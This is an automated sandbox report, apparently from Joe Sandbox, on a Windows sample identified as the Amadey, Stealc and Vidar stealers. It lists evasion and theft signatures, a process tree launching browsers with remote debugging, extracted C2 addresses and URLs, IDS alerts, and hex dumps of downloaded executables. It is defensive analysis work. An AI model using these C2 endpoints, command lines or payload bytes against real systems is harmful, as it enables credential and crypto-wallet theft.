Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1558932
MD5:	3264ae26929ff0c3abe85b43070dfd27
SHA1:	a245f83195576f855bbddac90f9f39da8615ffd3
SHA256:	cc67fc2b2998c5aa3c0a786908cfb6815a9a0015f0a80c73cbc39f261afa851c
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6380 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3264AE26929FF0C3ABE85B43070DFD27)

chrome.exe (PID: 4372 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 320 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 --field-trial-handle=2388,i,16510555146849537744,13459730630800446723,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7952 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8164 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2220,i,7239485134690088343,7052541673815001243,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7984 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDGCFHIDAKE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsDGCFHIDAKE.exe (PID: 8048 cmdline: "C:\Users\user\DocumentsDGCFHIDAKE.exe" MD5: 93A1D20E5DDAE13DB5D503DC52520988)

skotes.exe (PID: 8916 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 93A1D20E5DDAE13DB5D503DC52520988)

msedge.exe (PID: 7304 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6472 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2800 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8412 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6860 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8448 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7148 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4404 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 9180 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 93A1D20E5DDAE13DB5D503DC52520988)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2045377744.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2413840045.0000000000361000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2507820926.0000000000C81000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2536327231.0000000000C11000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.3306899400.0000000000C11000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2415050172.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2419032587.0000000004850000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2495671882.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.2676213781.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6380	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6380	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6380	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6380	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.skotes.exe.c10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.c10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.DocumentsDGCFHIDAKE.exe.c80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6380, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 4372, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:01.278377+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:01.270319+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:01.499917+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:02.481090+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:01.507633+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:01.042900+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:20:04.918944+0100	2856147	1	A Network Trojan was detected	192.168.2.5	62352	185.215.113.43	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:03.145533+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-20T00:19:23.385548+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-20T00:19:24.588991+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-20T00:19:25.709421+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-20T00:19:26.553977+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-20T00:19:28.403241+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-20T00:19:28.824346+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-20T00:19:32.782006+0100	2803304	3	Unknown Traffic	192.168.2.5	62143	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php7	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllU	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpA	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpim	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpS	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exe_	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 00000014.00000002.2507820926.0000000000C81000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.6380.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4F6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C4F6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:62114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:62324 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2443928659.000000006C71F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2443928659.000000006C71F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 10MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:62352 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.5:62039 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 23:19:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 23:19:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 